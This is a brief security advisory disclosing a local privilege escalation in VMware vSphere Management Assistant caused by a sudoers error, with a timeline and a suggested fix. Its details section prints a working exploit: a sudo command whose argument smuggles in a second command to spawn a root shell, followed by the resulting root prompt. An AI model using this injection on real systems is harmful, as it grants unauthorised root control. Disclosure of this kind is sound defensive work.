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Vmware vSphere Management Assistant (vMA) - Local Privilege Escalation
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Affected Software : Vmware vSphere Management Assistant (vMA)
Severity : Medium
Local/Remote : Local
Author : @drk1wi
[Summary]
Due to an error in the /etc/sudoers file it is possible to run
arbitrary shell commands within the context of root user.
[Vulnerability Details]
[vi-admin@vMA ~]$ sudo /usr/bin/vmatargetcon --shell=/bin/bash
"'raz';/bin/bash;"
35|ERROR|1|Unable to resolve hostname.
[root@vMA vi-admin]#
[Time-line]
27/04/2010 - Vendor notified
28/04/2010 - Vendor response
??? - Vendor patch release
16/05/2011 - Public disclosure
[Fix Information]
Edit the /etc/sudoers file.
Cheers,
@drk1wi
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